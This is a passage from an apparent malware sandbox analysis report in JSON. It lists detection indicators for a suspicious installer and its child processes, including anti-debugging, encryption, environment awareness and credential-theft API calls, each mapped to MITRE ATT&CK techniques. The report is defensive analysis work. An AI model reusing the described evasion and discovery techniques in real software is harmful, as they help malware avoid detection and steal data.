\"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-148","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)","description":"SetUnhandledExceptionFilter@KERNEL32.dll at 00000000-00008076-61219-3536-00409C56","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1622","relevance":1,"id":"stream-4","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"PE file contains zero-sized sections","description":"Raw size of \"BSS\" is zero\n Raw size of \".tls\" is zero\n Raw size of \".reloc\" is zero\n Raw size of \".bss\" is zero\n Raw size of \".data\" is zero","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-5","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains XOR operation loops [Stream disassembly]","description":"$26","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1027.005","id":"stream-139","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to decode string content at runtime (Dotnet)","description":"Observed function \"FromBase64String\" in \"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3\"","origin":"Static Parser","mitre_attack_id":"T1140","relevance":1,"id":"static-106","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform AES/RC4 encryption (API string)","description":"Found reference to API \"CryptProtectMemory failed\" (Indicator: \"CryptProtectMemory\"; File: \"00000000-00001560.00000000.171932.00061000.00000020.mdmp\")\n Found reference to API \"CryptUnprotectMemory failed\" (Indicator: \"CryptUnprotectMemory\"; File: \"00000000-00001560.00000000.171932.00061000.00000020.mdmp\")\n Found reference to API \"CryptProtectMemory\" (Indicator: \"CryptProtectMemory\"; File: \"00000000-00001560.00000000.171932.00061000.00000020.mdmp\")\n Found reference to API \"CryptUnprotectMemory\" (Indicator: \"CryptUnprotectMemory\"; File: \"00000000-00001560.00000000.171932.00061000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-438","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform decryption (API string)","description":"Found reference to API \"CryptUnprotectMemory failed\" (Indicator: \"CryptUnprotectMemory\"; File: \"00000000-00001560.00000000.171932.00061000.00000020.mdmp\")\n Found reference to API \"CryptUnprotectMemory\" (Indicator: \"CryptUnprotectMemory\"; File: \"00000000-00001560.00000000.171932.00061000.00000020.mdmp\")\n Found reference to API \"CryptUnprotectMemory failed\" (Indicator: \"CryptUnprotectMemory\"; Source: \"00000000-00001560.00000000.171932.00096000.00000002.mdmp\")\n Found reference to API \"CryptUnprotectMemory\" (Indicator: \"CryptUnprotectMemory\"; Source: \"00000000-00001560.00000000.171932.00096000.00000002.mdmp\")\n Found reference to API \"CryptDecrypt\" (Indicator: \"CryptDecrypt\"; Source: \"00000000-00004496.00000000.172807.02940000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-212","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform encryption (API string)","description":"Found reference to API \"CryptProtectMemory failed\" (Indicator: \"CryptProtectMemory\"; File: \"00000000-00001560.00000000.171932.00061000.00000020.mdmp\")\n Found reference to API \"CryptProtectMemory\" (Indicator: \"CryptProtectMemory\"; File: \"00000000-00001560.00000000.171932.00061000.00000020.mdmp\")\n Found reference to API \"CryptProtectMemory failed\" (Indicator: \"CryptProtectMemory\"; Source: \"00000000-00001560.00000000.171932.00096000.00000002.mdmp\")\n Found reference to API \"CryptProtectMemory\" (Indicator: \"CryptProtectMemory\"; Source: \"00000000-00001560.00000000.171932.00096000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-108","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"informative","category":"Cryptographic Related","name":"Found XOR operators (encryption/decryption)","description":"file/memory contains long string with (Indicator: \" ^ \"; File: \"InstallSetup_four.exe\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-624","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Cryptographic Related","name":"Sample file has high entropy (likely encrypted/compressed content)","description":"Sample file \"sample.bin\" has high entropy 7.969802249344283","origin":"Binary File","mitre_attack_id":"T1027","relevance":1,"id":"binary-71","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Found XOR operators (encryption/decryption)\n Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: YARA signature match - AES encryption\n Matched sigs: YARA signature match - RC4 Encryption","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"$27","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: Found XOR operators (encryption/decryption)\n Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: YARA signature match - AES encryption\n Matched sigs: YARA signature match - RC4 Encryption\n Matched sigs: Found potential URL in binary/memory\n Matched sigs: Found potential IP address in binary/memory\n Matched sigs: Contains ability to communicate with network (API string)\n Matched sigs: Contains references to network communication API (string)\n Matched sigs: Found potential URLs in memory dumps\n Matched sigs: Spawned process connects to a network\n Matched sigs: Contacts server","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Cryptographic Related","name":"XOR operations in executable file detected","description":"$28","origin":"Binary File","mitre_attack_id":"T1027.005","id":"binary-92","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"$29","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-661","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment using user register activity","description":"Found string \"Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\" (Indicator: \"software\\microsoft\\windows\\currentversion\\uninstall\"; File: \"00000000-00007668.00000000.172116.00401000.00000020.mdmp\")\n Found string \"Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\\" (Indicator: \"software\\microsoft\\windows\\currentversion\\uninstall\"; File: \"00000000-00007668.00000000.172116.00401000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-663","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query system locale information (API string)","description":"$2a","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve date formats supported by the local system (API string)","description":"Found reference to API \"GetTimeFormatEx\" (Indicator: \"GetTimeFormat\"; File: \"00000000-00008076.00000001.173786.00400000.00000040.mdmp\")\n Found reference to API \"GetDateFormatEx\" (Indicator: \"GetDateFormat\"; File: \"00000000-00008076.00000001.173786.00400000.00000040.mdmp\")\n Found reference to API \"GetTimeFormatW\" (Indicator: \"GetTimeFormat\"; File: \"00000000-00001560.00000000.171932.00096000.00000002.mdmp\")\n Found reference to API \"GetDateFormatW\" (Indicator: \"GetDateFormat\"; File: \"00000000-00001560.00000000.171932.00096000.00000002.mdmp\")\n Found reference to API \"GetTimeFormatW\" (Indicator: \"GetTimeFormat\"; Source: \"00000000-00001560.00000000.171932.00096000.00000002.mdmp\")\n Found reference to API \"GetDateFormatW\" (Indicator: \"GetDateFormat\"; Source: \"00000000-00001560.00000000.171932.00096000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-901","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"$2b","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00005760)\n \"288c47bbc1871b439df19ff4df68f076.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00007560)\n \"EasyAppns.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00001560)","origin":"API Call","mitre_attack_id":"T1497","relevance":3,"id":"api-296","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00005760)\n \"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe\" called \"QueryPerformanceCounter\" (UID: 00000000-00005760)\n \"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe\" called \"GlobalMemoryStatusEx\" with parameters (UID: 00000000-00005760)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00005760)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API possibly used to retrieve a handle to the foreground window","description":"\"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe\" called \"GetForegroundWindow\" (UID: 00000000-00005760)\n \"EasyAppns.exe\" called \"GetForegroundWindow\" (UID: 00000000-00001560)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-142","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe\" called \"IsWow64Process\" with parameter \"5760\" - (UID: 00000000-00005760)\n \"april.tmp\" called \"IsWow64Process\" with parameter \"7668\" - (UID: 00000000-00007668)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to enumerate active windows","description":"\"april.tmp\" called \"EnumWindows\" with parameter \"11532048\" - (UID: 00000000-00007668)\n \"april.tmp\" called \"EnumWindows\" with parameter \"11531968\" - (UID: 00000000-00007668)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-152","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get active windows title","description":"\"EasyAppns.exe\" called \"GetWindowTextW\" with parameter \"%PUBLIC%\\Music\" - (UID: 00000000-00001560)\n \"april.tmp\" called \"GetWindowTextA\" with parameter \"Setup\" - (UID: 00000000-00007668)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-151","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get handle of currently active window","description":"\"april.tmp\" called \"GetActiveWindow\" (UID: 00000000-00007668)","origin":"API Call","mitre_attack_id":"T1010","relevance":5,"id":"api-150","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00005760)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$2c","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to open an existing named mutex object","description":"\"april.tmp\" called \"OpenMutexA\" with parameter \"senior-flash-decompiler-3211\" - (UID: 00000000-00007668)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-144","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"$2d","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve default language settings","description":"\"EasyAppns.exe\" called \"GetSystemDefaultLangID\" (UID: 00000000-00001560)\n \"april.tmp\" called \"GetSystemDefaultLangID\" (UID: 00000000-00007668)","origin":"API Call","mitre_attack_id":"T1614.001","relevance":3,"id":"api-149","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00005760)\n \"april.exe\" called \"GetLocaleInfoA\" with parameter \"1033\" - (UID: 00000000-00007680)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an APIs used to retrieve process information","description":"Observed import api \"OpenProcessToken\" which can be \"used to retrieve process information\" [Source: april.exe]\n Observed import api \"OpenProcessToken\" which can be \"used to retrieve process information\" [Source: is-KQJQP.tmp]\n Observed import api \"OpenProcessToken\" which can be \"used to retrieve process information\" [Source: april.tmp]","origin":"Static Parser","mitre_attack_id":"T1057","relevance":5,"id":"static-189","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to determine if process is running under WOW64 (API string)","description":"Found reference to API \"IsWow64Process\" (Indicator: \"IsWow64Process\"; File: \"00000000-00007668.00000000.172116.00401000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-450","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to enumerate files inside a directory","description":"FindFirstFileExW@KERNEL32.dll at 00000000-00008076-61219-2213-0041E2B1","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1083","relevance":3,"id":"stream-89","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to enumerate volumes (API string)","description":"Found reference to API \"FindNextVolumeMountPointW\" (Indicator: \"FindNextVolume\"; File: \"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3\")\n Found reference to API \"FindNextVolumeMountPointW\" (Indicator: \"FindNextVolumeMountPoint\"; File: \"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3\")\n Found reference to API \"FindNextVolumeMountPointW\" (Indicator: \"FindNextVolume\"; Source: \"00000000-00001560.00000000.171932.056A4000.00000004.mdmp\")\n Found reference to API \"FindNextVolumeMountPointW\" (Indicator: \"FindNextVolumeMountPoint\"; Source: \"00000000-00001560.00000000.171932.056A4000.00000004.mdmp\")\n Found reference to API \"FindNextVolumeMountPointW\" (Indicator: \"FindNextVolume\"; Source: \"00000000-00004644.00000000.172374.00409000.00000002.mdmp\")\n Found reference to API \"FindNextVolumeMountPointW\" (Indicator: \"FindNextVolumeMountPoint\"; Source: \"00000000-00004644.00000000.172374.00409000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1006","relevance":1,"id":"string-194","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to execute WMI queries (Dotnet)","description":"Observed namespace \"System.Management.ManagementObjectSearcher\" in \"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3\"","origin":"Static Parser","mitre_attack_id":"T1047","relevance":1,"id":"static-114","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to execute a WMI query","description":"Found string \"Select * from Win32_ComputerSystem\" (Indicator: \"select * from \"; File: \"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3\")\n Found string \"SELECT * FROM Win32_OperatingSystem\" (Indicator: \"select * from \"; File: \"00000000-00001560.00000000.171932.00061000.00000020.mdmp\")\n Found string \"SELECT * FROM Win32_OperatingSystem\" (Indicator: \"select * from \"; Source: \"00000000-00001560.00000000.171932.00096000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":1,"id":"string-433","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to find open windows (API string)","description":"Found reference to API \"FindWindowExW\" (Indicator: \"FindWindowExW\"; File: \"00000000-00001560.00000000.171932.00096000.00000002.mdmp\")\n Found reference to API \"FindWindowA\" (Indicator: \"FindWindowA\"; File: \"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3\")\n Found reference to API \"FindWindowExW\" (Indicator: \"FindWindowExW\"; Source: \"00000000-00001560.00000000.171932.00096000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-413","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to perform scheduled transfer (API string)","description":"$2e","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the machine version","description":"ISCryptGetVersion@_ISCRYPT.DLL at 00000000-00007668-64666-3060-0045B4AC","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":1,"id":"stream-3","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the system locale","description":"GetLocaleInfoW@KERNEL32.dll at 00000000-00008076-61219-2281-00420EE4\n GetLocaleInfoW@KERNEL32.dll at 00000000-00008076-61219-2282-00421367\n GetLocaleInfoW@KERNEL32.dll at 00000000-00008076-61219-2283-00421139","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1614","relevance":1,"id":"stream-49","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query volume/memory size (API string)","description":"Found reference to API \"GetDiskFreeSpaceExA\" (Indicator: \"GetDiskFreeSpace\"; File: \"00000000-00007668.00000000.172116.00401000.00000020.mdmp\")\n Found reference to API \"GetDiskFreeSpaceA\" (Indicator: \"GetDiskFreeSpace\"; File: \"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-193","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"$2f","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"$30","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve information about the current system (API string)","description":"$31","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine time (API string)","description":"$32","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve network parameters of a computer (API string)","description":"Found reference to API \"WNetGetConnectionA\" (Indicator: \"NetGetConnection\"; File: \"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-222","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve open application windows (API string)","description":"$33","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-141","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve path in which Windows is installed (API string)","description":"Found reference to API \"GetWindowsDirectoryA\" (Indicator: \"GetWindowsDirectory\"; File: \"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-312","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve system language (API string)","description":"Found reference to API \"GetUserDefaultLangID\" (Indicator: \"GetUserDefaultLangID\"; File: \"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3\")\n Found reference to API \"GetUserDefaultUILanguage\" (Indicator: \"GetUserDefaultUILanguage\"; File: \"00000000-00007680.00000000.171970.00401000.00000020.mdmp\")\n Found reference to API \"GetKeyboardLayout\" (Indicator: \"GetKeyboardLayout\"; Source: \"00000000-00001560.00000000.171932.72907000.00000002.mdmp\")\n Found reference to API \"GetUserDefaultLangID\" (Indicator: \"GetUserDefaultLangID\"; Source: \"00000000-00004496.00000000.172807.004BE000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve system network configuration","description":"file/memory contains long string with (Indicator: \"tracert\"; File: \"_ub.xml\")\n file/memory contains long string with (Indicator: \"tracert\"; File: \"_zx.xml\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-430","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"$34","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)","description":"Found reference to API \"GetStartupInfoW\" (Indicator: \"GetStartupInfo\"; File: \"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3\")\n Found reference to API \"GetStartupInfoA\" (Indicator: \"GetStartupInfo\"; File: \"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3\")","origin":"File/Memory","mitre_attack_id":"T1543","relevance":1,"id":"string-167","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve/open a process","description":"GetProcessHeap@KERNEL32.dll at 00000000-00008076-61219-3730-0042169E","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1057","relevance":1,"id":"stream-31","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"},{"report_type":"sandbox","report_id":"65fc2a0d0c95d1bcd40e482c"}]},{"level":"informative","category":"Environment Awareness","name":"Contains reference to Borland Delphi related registry entry","description":"\"Software\\Borland\\Delphi\\Locales\" (Indicator: \"\\borland\\delphi\\locales\") in Source: 00000000-00007224.00000000.172329.00401000.00000020.mdmp","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-324","sources":[{"report_type":"sandbox","report_id":"6884a8ceb8ba0a9b5c03d337"}]},{"level":"informative","category":"Environment Awareness","name":"Executes WMI queries","description":"\"288c47bbc1871b439df19ff4df68f076.exe\" issued a query \"SELECT BuildNumber FROM Win32_OperatingSystem\"\n \"288c47bbc1871b439df19ff4df68f076.exe\" issued a 